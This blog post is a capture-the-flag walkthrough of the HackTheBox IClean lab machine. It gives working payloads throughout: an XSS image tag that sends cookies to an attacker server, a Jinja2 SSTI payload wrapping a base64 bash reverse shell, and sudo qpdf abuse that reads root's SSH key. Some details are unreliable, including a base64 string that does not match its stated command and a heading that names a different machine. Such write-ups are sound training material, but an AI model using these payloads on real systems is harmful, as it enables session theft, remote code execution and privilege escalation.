HackTheBox IClean Writeup | Exploiting XSS & SSTI

Motasem Hamdan
7 min readOct 1, 2024

--

Introduction

HackTheBox IClean begins with a basic cross-site scripting (XSS) attack to steal cookies, which is followed by exploiting a server-side template injection in an admin workflow. To pivot to the next user, we retrieve their hash from the website database and crack it. For root access, we take advantage of a command-line PDF software that the user can run as root. By using this, we attach files to PDF documents, allowing for file read access.

HackTheBox BoardLight Machine Synopsis

HackTheBox IClean is a medium-difficulty Linux machine featuring a website for a cleaning services company. The website contains a form where users can request a quote, which is found to be vulnerable to Cross-Site Scripting (XSS). This vulnerability is exploited to steal an admin cookie, which is then used to access the administrator dashboard. The page is vulnerable to Server-Side Template Injection (SSTI), allowing us to obtain a reverse shell on the box. Enumeration reveals database credentials, which are leveraged to gain access to the database, leading to the discovery of a user hash. Cracking this hash provides `SSH` access to the machine. The user’s mail mentions working with PDFs. By examining the `sudo` configuration, it is found that the user can run `qpdf` as `root`. This is leveraged to attach the `root` private key to a PDF, which is then used to gain privileged access to the machine.

Initial Reconnaissance

With nmap scanning, we get the below open ports

nmap -p- -sC 10.10.11.12
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directory Brute-forcing

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt

This may uncover interesting files like /dashboard , /login and /quote

HTML Injection & XSS

The main quote page looks like this:

Cross-Site Scripting (XSS) is a type of web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts are often written in JavaScript and can execute in the browser of the victim, leading to potential risks like:

  • Stealing cookies or session tokens to impersonate users.
  • Redirecting users to malicious sites.
  • Defacing web content or performing actions on behalf of the user.

There are three main types of XSS:

  1. Stored XSS: Malicious script is permanently stored on the target server (e.g., in a database) and executed when users load the page.
  2. Reflected XSS: The malicious script is included in a URL or form submission and reflected back to the user, executed when the link is opened.
  3. DOM-based XSS: Occurs when the web page’s client-side JavaScript modifies the DOM (Document Object Model) based on user input without proper sanitization, leading to script execution.

In the email box in the above screenshot, try the below XSS payload:

<img src="https://10.10.14.6/service" onerror=fetch("http://ip/server") />

Where http://ip/server is your ip address where you run a python http server to serve the request and receive the stolen cookie. If you receive a request to your web server, then modify the payload to be:

<img src="https://10.10.14.6/service" onerror=fetch("http://ip/?c="+document.cookie) />

On the attacker machine end, you should receive the below:

0.10.11.12 - code 404, message File not found
10.10.11.12 - "GET /service HTTP/1.1" 404 -
10.10.11.12 - "GET /?c=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZpGnpw.yZMEmiZOTLiezgsFo846uaB6bVY HTTP/1.1" 200 -

Copy the cookie and paste it using browser developer console and refresh the page, you should access the dashboard.

Service Side Template Injection

Server-Side Template Injection (SSTI) is a type of vulnerability that occurs when user input is improperly handled by a server-side template engine. Template engines are used to dynamically generate web pages by embedding data within templates (like HTML). If an attacker can inject malicious code into these templates, they can manipulate the server’s behavior.

Through SSTI, attackers can:

  • Execute arbitrary code on the server.
  • Access sensitive data stored on the server.
  • Control the rendered output to exploit other vulnerabilities.

This occurs when user input is directly embedded in templates without proper sanitization. To mitigate SSTI, input should be validated and sanitized before being rendered, and template engines should be used securely.

The /InvoiceGenerator page includes a form that requires some basic information. If you enter anything other than a valid invoice ID from the previous page, the page simply reloads. However, when entering the valid ID (4177145799) from the previous page, the page returns a link and a new form.

This invoice includes a QR code at the bottom right, and several fields are unused, with the data set to default values. Interestingly, the URL for this invoice points to /QRGenerator, meaning the same endpoint is responsible for generating both the QR code and the invoice with the QR code. Additionally, the URL within the QR code links to a static page, which doesn’t seem to display on the site.

Since this is a Python application where user inputs are reflected back, it’s logical to investigate the possibility of a server-side template injection (SSTI). After sending various requests through the repeater and experimenting with them, I identified a POST request to /QRGenerator that accepts a URL for the QR code .

You could now inject the qr_link field with an SSTI payload to get a shell.

The payload that worked is taken from PayloadsAllTheThings

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

After testing, its time now to send an SSTI payload that return a shell so you could use bash reverse shell bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 but first you will need to encode it using base64 before using it in the mail SSTI payload:

echo 'bash -c  "bash -i >& /dev/tcp/10.0.0.1/4545 0>&1"' | base64 -w0 
B3eoIeAtYyAgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgOP4mORMT

Add this echo+B3eoIeAtYyAgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgOP4mORMT|base64+-d|bash to the main SSTI payload so that;

payload that worked is taken from PayloadsAllTheThings
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo+B3eoIeAtYyAgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgOP4mORMT|base64+-d|bash')|attr('read')()}}

And you will have the shell waiting in your listener.

www-data@iclean:/opt/app$ python3 -c 'import pty;pty.spawn("bash")'
www-data@iclean:/opt/app$ ^Z
[1]+ Stopped nc -lnvp 4545
nc -lnvp 4545
www-data@iclean:/opt/app$

Linux Privilege Escalation

There is a single user on the system with a home directory located in /home, but the www-data user does not have permission to access that directory. Both this user and root have shell access as specified in the /etc/passwd file. Meanwhile, the web application itself is running from the /opt/app directory.

www-data@iclean:/opt/app$ ls
app.py static templates

App.py contains database credentials:

'password': 'pxCsmnGLckUb',
'database': 'capiclean'
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb -D capiclean

Extracting credentials from the database;

mysql> show tables;
mysql> describe users;
mysql> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+------------------------------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+

Consuela hash can be cracked using CrackStation

www-data@iclean:/opt/app$ su - consuela
Password:
consuela@iclean:~$

Privilege Escalation to Root

The consuela user has permission to run the qpdf command as any user using sudo. Interestingly, there are no PDFs found on IClean, even though it appears the user needs to convert them with root privileges, possibly indicating that the PDF files are located in root’s home directory.

What is qpdf in Linux

qpdf is a command-line tool in Linux used to manipulate and transform PDF files. It is a powerful tool that allows users to perform a variety of operations on PDF files, such as encrypting, decrypting, merging, splitting, and modifying them, without losing content or quality.

Decrypting a PDF: You can decrypt a password-protected PDF file and remove its encryption.

qpdf --decrypt input.pdf output.pdf

Encrypting a PDF: You can encrypt a PDF file with a password to restrict access.

qpdf --encrypt user-password owner-password 40 -- input.pdf output.pdf

Linearizing PDFs: Also called “web optimization,” this makes the PDF file load faster when viewed over the web.

qpdf --linearize input.pdf output.pdf

Splitting PDF Pages: You can extract specific pages from a PDF.

qpdf input.pdf --pages . 1-3 -- output.pdf

There’s a section on Embedded Files/Attachments that explains options, including the --add-attachment file [options] feature.

We decided to test this by attaching a file I can access and adding it to a PDF. It required the -- flag to mark the end of the attachments, after which it worked successfully.

You could also copy anyfile as PDF

consuela@iclean:/dev/shm$ sudo qpdf --empty output.pdf -qfd --add-attachment test.txt --
consuela@iclean:/dev/shm$ sudo qpdf --empty root.pdf -qfd --add-attachment /root/root.txt --consuela@iclean:/dev/shm$strings root.pdf

You can also the private SSH key:

consuela@iclean:/dev/shm$ sudo qpdf --empty id_rsa.pdf -qfd --add-attachment /root/.ssh/id_rsa --
consuela@iclean:/dev/shm$ strings id_rsa.pdf

This key can then be used to login as root

chmod 600 id_rsa
ssh -i id_rsa root@capiclean.htb

Watch Also

--

--

Motasem Hamdan

Motasem Hamdan is a content creator and swimmer who creates cyber security training videos and articles. https://www.youtube.com/@MotasemHamdan